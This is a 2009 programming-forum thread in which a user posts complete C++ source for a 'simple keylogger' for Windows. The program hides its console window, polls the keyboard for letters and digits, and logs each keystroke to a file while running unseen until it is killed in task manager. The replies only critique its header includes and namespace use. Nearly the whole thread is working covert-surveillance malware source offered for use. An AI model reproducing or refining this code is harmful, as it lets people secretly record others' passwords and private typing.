|
Post by smc44 on Apr 1, 2009 6:48:51 GMT -5
/* A Simple Keylogger */ /* Created By: Stephen Caples */ /* 2009 */ /*''''''''''''''''''''''''''''*/ #include <windows.h> #include <iostream.h> #include <fstream.h>
int main() { HWND PromptDosMessageBox; HWND Console; int PromptDos; char *GetLogName = new char[50]; int GetLogNameC; itoa(GetLogNameC, GetLogName, 10); cout << "Log File Name: "; std::cin >> GetLogName; ofstream RecordKeys(GetLogName); AllocConsole(); Console = FindWindowA ("ConsoleWindowClass",NULL); ShowWindow(Console, SW_HIDE); do { if(GetAsyncKeyState(VK_F5)) { PromptDos = MessageBox(PromptDosMessageBox, "Show or Hide Dos?", "Dos", MB_YESNOCANCEL | MB_ICONASTERISK); } if(PromptDos == IDYES) { ShowWindow(Console, SW_SHOW); } if(PromptDos == IDNO) { ShowWindow(Console, SW_HIDE); } if(PromptDos == IDCANCEL) { DestroyWindow(PromptDosMessageBox); } if(GetAsyncKeyState('Q')) { Sleep(50); RecordKeys << "Q" << endl; Sleep(50); } if(GetAsyncKeyState('W')) { Sleep(50); RecordKeys << "W" << endl; Sleep(50); } if(GetAsyncKeyState('E')) { Sleep(50); RecordKeys << "E" << endl; Sleep(50); } if(GetAsyncKeyState('R')) { Sleep(50); RecordKeys << "R" << endl; Sleep(50); } if(GetAsyncKeyState('T')) { Sleep(50); RecordKeys << "T" << endl; Sleep(50); } if(GetAsyncKeyState('Y')) { Sleep(50); RecordKeys << "Y" << endl; Sleep(50); } if(GetAsyncKeyState('U')) { Sleep(50); RecordKeys << "U" << endl; Sleep(50); } if(GetAsyncKeyState('I')) { Sleep(50); RecordKeys << "I" << endl; Sleep(50); } if(GetAsyncKeyState('O')) { Sleep(50); RecordKeys << "O" << endl; Sleep(50); } if(GetAsyncKeyState('A')) { Sleep(50); RecordKeys << "A" << endl; Sleep(50); } if(GetAsyncKeyState('S')) { Sleep(50); RecordKeys << "S" << endl; Sleep(50); } if(GetAsyncKeyState('D')) { Sleep(50); RecordKeys << "D" << endl; Sleep(50); } if(GetAsyncKeyState('F')) { Sleep(50); RecordKeys << "F" << endl; Sleep(50); } if(GetAsyncKeyState('G')) { Sleep(50); RecordKeys << "G" << endl; Sleep(50); } if(GetAsyncKeyState('H')) { Sleep(50); RecordKeys << "H" << endl; Sleep(50); } if(GetAsyncKeyState('J')) { Sleep(50); RecordKeys << "J" << endl; Sleep(50); } if(GetAsyncKeyState('K')) { Sleep(50); RecordKeys << "K" << endl; Sleep(50); } if(GetAsyncKeyState('L')) { Sleep(50); RecordKeys << "L" << endl; Sleep(50); } if(GetAsyncKeyState('Z')) { Sleep(50); RecordKeys << "Z" << endl; Sleep(50); } if(GetAsyncKeyState('X')) { Sleep(50); RecordKeys << "X" << endl; Sleep(50); } if(GetAsyncKeyState('C')) { Sleep(50); RecordKeys << "C" << endl; Sleep(50); } if(GetAsyncKeyState('V')) { Sleep(50); RecordKeys << "V" << endl; Sleep(50); } if(GetAsyncKeyState('B')) { Sleep(50); RecordKeys << "B" << endl; Sleep(50); } if(GetAsyncKeyState('N')) { Sleep(50); RecordKeys << "N" << endl; Sleep(50); } if(GetAsyncKeyState('M')) { Sleep(50); RecordKeys << "M" << endl; Sleep(50); } if(GetAsyncKeyState('0')) { Sleep(50); RecordKeys << "0" << endl; Sleep(50); } if(GetAsyncKeyState('1')) { Sleep(50); RecordKeys << "1" << endl; Sleep(50); } if(GetAsyncKeyState('2')) { Sleep(50); RecordKeys << "2" << endl; Sleep(50); } if(GetAsyncKeyState('3')) { Sleep(50); RecordKeys << "3" << endl; Sleep(50); } if(GetAsyncKeyState('4')) { Sleep(50); RecordKeys << "4" << endl; Sleep(50); } if(GetAsyncKeyState('5')) { Sleep(50); RecordKeys << "5" << endl; Sleep(50); } if(GetAsyncKeyState('6')) { Sleep(50); RecordKeys << "6" << endl; Sleep(50); } if(GetAsyncKeyState('7')) { Sleep(50); RecordKeys << "7" << endl; Sleep(50); } if(GetAsyncKeyState('8')) { Sleep(50); RecordKeys << "8" << endl; Sleep(50); } if(GetAsyncKeyState('9')) { Sleep(50); RecordKeys << "9" << endl; Sleep(50); } if(GetAsyncKeyState(VK_NUMPAD0)) { Sleep(50); RecordKeys << "0" << endl; Sleep(50); } if(GetAsyncKeyState(VK_NUMPAD1)) { Sleep(50); RecordKeys << "1" << endl; Sleep(50); } if(GetAsyncKeyState(VK_NUMPAD2)) { Sleep(50); RecordKeys << "2" << endl; Sleep(50); } if(GetAsyncKeyState(VK_NUMPAD3)) { Sleep(50); RecordKeys << "3" << endl; Sleep(50); } if(GetAsyncKeyState(VK_NUMPAD4)) { Sleep(50); RecordKeys << "4" << endl; Sleep(50); } if(GetAsyncKeyState(VK_NUMPAD5)) { Sleep(50); RecordKeys << "5" << endl; Sleep(50); } if(GetAsyncKeyState(VK_NUMPAD6)) { Sleep(50); RecordKeys << "6" << endl; Sleep(50); } if(GetAsyncKeyState(VK_NUMPAD7)) { Sleep(50); RecordKeys << "7" << endl; Sleep(50); } if(GetAsyncKeyState(VK_NUMPAD8)) { Sleep(50); RecordKeys << "8" << endl; Sleep(50); } if(GetAsyncKeyState(VK_NUMPAD9)) { Sleep(50); RecordKeys << "9" << endl; Sleep(50); } Sleep(1); } while(10>1); return(0); }
|
|
|
Post by matthew on Apr 1, 2009 7:51:21 GMT -5
Instead of using iostream.h & fstream.h you should be using iostream & fstream.
You'll also need to add either using namespace std; at the beginning of your code or place std:: in front of the commands which need it.
You should also tell people that the program runs in the background & that they'll need to shut it down using the task manager.
|
|
|
Post by smc44 on Apr 1, 2009 14:25:45 GMT -5
i know about the headers, i didnt feel like fixin them lazy lol, yea for everyone who doesent know this program runs in the background so it must be manually turned off via task manager
|
|
|
Post by matthew on Apr 1, 2009 14:45:40 GMT -5
You were too lazy to remove .h from the includes?
|
|
|
Post by smc44 on Apr 1, 2009 16:46:35 GMT -5
yep!, i know its said lmao omfg LOLOL!
|
|
|
Post by Darkjester on Apr 1, 2009 19:55:45 GMT -5
I think it has more to do with lack of STL knowledge myself
|
|